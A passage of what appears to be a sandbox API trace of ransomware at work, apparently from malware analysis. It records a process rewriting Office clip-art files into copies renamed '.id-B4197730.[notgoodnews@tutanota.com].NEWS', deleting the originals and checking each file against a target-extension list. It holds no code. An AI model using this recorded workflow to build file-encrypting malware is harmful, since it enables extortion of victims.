lpNumberOfBytesWritten=0x2fdfc94*=0x3640, lpOverlapped=0x0) returned 1 [0090.870] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0090.870] WriteFile (in: hFile=0x338, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0090.870] SetEndOfFile (hFile=0x338) returned 1 [0090.870] CloseHandle (hObject=0x338) returned 1 [0090.870] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.870] SetEndOfFile (hFile=0x2c4) returned 1 [0090.871] CloseHandle (hObject=0x2c4) returned 1 [0090.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0090.871] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf")) returned 1 [0090.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0090.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0090.871] lstrlenW (lpString=".doc") returned 4 [0090.871] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.871] lstrlenW (lpString=".docx") returned 5 [0090.871] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0090.871] lstrlenW (lpString=".pdf") returned 4 [0090.871] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.871] lstrlenW (lpString=".xls") returned 4 [0090.871] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.872] lstrlenW (lpString=".xlsx") returned 5 [0090.872] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0090.872] lstrlenW (lpString=".ppt") returned 4 [0090.872] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0090.872] lstrlenW (lpString=".zip") returned 4 [0090.872] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.872] lstrlenW (lpString=".rar") returned 4 [0090.872] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.872] lstrlenW (lpString=".bz2") returned 4 [0090.872] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.872] lstrlenW (lpString=".7z") returned 3 [0090.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0090.872] lstrlenW (lpString=".dbf") returned 4 [0090.872] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0090.872] lstrlenW (lpString=".1cd") returned 4 [0090.872] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0090.872] lstrlenW (lpString=".jpg") returned 4 [0090.872] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0090.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0090.872] lstrlenW (lpString=".doc") returned 4 [0090.872] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.872] lstrlenW (lpString=".docx") returned 5 [0090.872] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0090.872] lstrlenW (lpString=".pdf") returned 4 [0090.872] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.872] lstrlenW (lpString=".xls") returned 4 [0090.872] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.872] lstrlenW (lpString=".xlsx") returned 5 [0090.872] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0090.872] lstrlenW (lpString=".ppt") returned 4 [0090.872] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0090.873] lstrlenW (lpString=".zip") returned 4 [0090.873] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.873] lstrlenW (lpString=".rar") returned 4 [0090.873] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.873] lstrlenW (lpString=".bz2") returned 4 [0090.873] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.873] lstrlenW (lpString=".7z") returned 3 [0090.873] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0090.873] lstrlenW (lpString=".dbf") returned 4 [0090.873] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0090.873] lstrlenW (lpString=".1cd") returned 4 [0090.873] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0090.873] lstrlenW (lpString=".jpg") returned 4 [0090.873] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.873] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0090.873] lstrlenW (lpString="J0099154.JPG") returned 12 [0090.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0090.873] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=6929) returned 1 [0090.874] CloseHandle (hObject=0x2c4) returned 1 [0090.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg")) returned 0x220 [0090.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0090.874] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.874] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0090.875] GetLastError () returned 0x0 [0090.875] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x1b11, lpOverlapped=0x0) returned 1 [0090.876] WriteFile (in: hFile=0x338, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x1b20, lpOverlapped=0x0) returned 1 [0090.877] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0090.877] WriteFile (in: hFile=0x338, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0090.877] SetEndOfFile (hFile=0x338) returned 1 [0090.877] CloseHandle (hObject=0x338) returned 1 [0090.877] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.877] SetEndOfFile (hFile=0x2c4) returned 1 [0090.890] CloseHandle (hObject=0x2c4) returned 1 [0090.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0090.891] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg")) returned 1 [0090.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0090.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0090.891] lstrlenW (lpString=".doc") returned 4 [0090.891] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0090.891] lstrlenW (lpString=".docx") returned 5 [0090.891] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0090.891] lstrlenW (lpString=".pdf") returned 4 [0090.891] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0090.891] lstrlenW (lpString=".xls") returned 4 [0090.891] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0090.891] lstrlenW (lpString=".xlsx") returned 5 [0090.891] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0090.891] lstrlenW (lpString=".ppt") returned 4 [0090.891] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0090.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0090.891] lstrlenW (lpString=".zip") returned 4 [0090.891] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0090.891] lstrlenW (lpString=".rar") returned 4 [0090.891] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0090.891] lstrlenW (lpString=".bz2") returned 4 [0090.891] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0090.892] lstrlenW (lpString=".7z") returned 3 [0090.892] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0090.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0090.892] lstrlenW (lpString=".dbf") returned 4 [0090.892] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0090.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0090.892] lstrlenW (lpString=".1cd") returned 4 [0090.892] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0090.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0090.892] lstrlenW (lpString=".jpg") returned 4 [0090.892] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0090.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0090.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0090.892] lstrlenW (lpString=".doc") returned 4 [0090.892] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0090.892] lstrlenW (lpString=".docx") returned 5 [0090.892] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0090.892] lstrlenW (lpString=".pdf") returned 4 [0090.892] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0090.892] lstrlenW (lpString=".xls") returned 4 [0090.892] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0090.892] lstrlenW (lpString=".xlsx") returned 5 [0090.892] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0090.892] lstrlenW (lpString=".ppt") returned 4 [0090.892] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0090.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0090.892] lstrlenW (lpString=".zip") returned 4 [0090.892] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0090.892] lstrlenW (lpString=".rar") returned 4 [0090.892] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0090.892] lstrlenW (lpString=".bz2") returned 4 [0090.892] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0090.892] lstrlenW (lpString=".7z") returned 3 [0090.892] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0090.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0090.892] lstrlenW (lpString=".dbf") returned 4 [0090.893] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0090.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0090.893] lstrlenW (lpString=".1cd") returned 4 [0090.893] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0090.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0090.893] lstrlenW (lpString=".jpg") returned 4 [0090.893] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0090.893] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0090.893] lstrlenW (lpString="J0099155.JPG") returned 12 [0090.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0091.220] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=8826) returned 1 [0091.228] CloseHandle (hObject=0x338) returned 1 [0091.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg")) returned 0x220 [0091.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0091.229] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.229] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0091.230] GetLastError () returned 0x0 [0091.230] ReadFile (in: hFile=0x338, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x227a, lpOverlapped=0x0) returned 1 [0091.231] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x2280, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x2280, lpOverlapped=0x0) returned 1 [0091.232] ReadFile (in: hFile=0x338, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0091.232] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0091.232] SetEndOfFile (hFile=0x384) returned 1 [0091.233] CloseHandle (hObject=0x384) returned 1 [0091.233] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.233] SetEndOfFile (hFile=0x338) returned 1 [0091.234] CloseHandle (hObject=0x338) returned 1 [0091.234] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0091.234] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg")) returned 1 [0091.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0091.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0091.234] lstrlenW (lpString=".doc") returned 4 [0091.234] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0091.234] lstrlenW (lpString=".docx") returned 5 [0091.234] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0091.234] lstrlenW (lpString=".pdf") returned 4 [0091.234] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0091.234] lstrlenW (lpString=".xls") returned 4 [0091.234] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0091.234] lstrlenW (lpString=".xlsx") returned 5 [0091.234] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0091.234] lstrlenW (lpString=".ppt") returned 4 [0091.234] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0091.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0091.234] lstrlenW (lpString=".zip") returned 4 [0091.235] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0091.235] lstrlenW (lpString=".rar") returned 4 [0091.235] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0091.235] lstrlenW (lpString=".bz2") returned 4 [0091.235] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0091.235] lstrlenW (lpString=".7z") returned 3 [0091.235] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0091.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0091.235] lstrlenW (lpString=".dbf") returned 4 [0091.235] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0091.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0091.235] lstrlenW (lpString=".1cd") returned 4 [0091.235] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0091.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0091.235] lstrlenW (lpString=".jpg") returned 4 [0091.235] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0091.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0091.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0091.235] lstrlenW (lpString=".doc") returned 4 [0091.235] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0091.235] lstrlenW (lpString=".docx") returned 5 [0091.235] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0091.235] lstrlenW (lpString=".pdf") returned 4 [0091.235] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0091.235] lstrlenW (lpString=".xls") returned 4 [0091.235] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0091.235] lstrlenW (lpString=".xlsx") returned 5 [0091.235] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0091.235] lstrlenW (lpString=".ppt") returned 4 [0091.235] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0091.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0091.235] lstrlenW (lpString=".zip") returned 4 [0091.235] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0091.235] lstrlenW (lpString=".rar") returned 4 [0091.235] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0091.235] lstrlenW (lpString=".bz2") returned 4 [0091.235] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0091.236] lstrlenW (lpString=".7z") returned 3 [0091.236] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0091.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0091.236] lstrlenW (lpString=".dbf") returned 4 [0091.236] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0091.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0091.236] lstrlenW (lpString=".1cd") returned 4 [0091.236] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0091.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0091.236] lstrlenW (lpString=".jpg") returned 4 [0091.236] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0091.236] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0091.236] lstrlenW (lpString="J0099161.JPG") returned 12 [0091.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0091.236] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=7154) returned 1 [0091.236] CloseHandle (hObject=0x338) returned 1 [0091.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg")) returned 0x220 [0091.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0091.237] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.237] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0091.237] GetLastError () returned 0x0 [0091.237] ReadFile (in: hFile=0x338, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x1bf2, lpOverlapped=0x0) returned 1 [0091.239] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x1c00, lpOverlapped=0x0) returned 1 [0091.240] ReadFile (in: hFile=0x338, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0091.240] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, 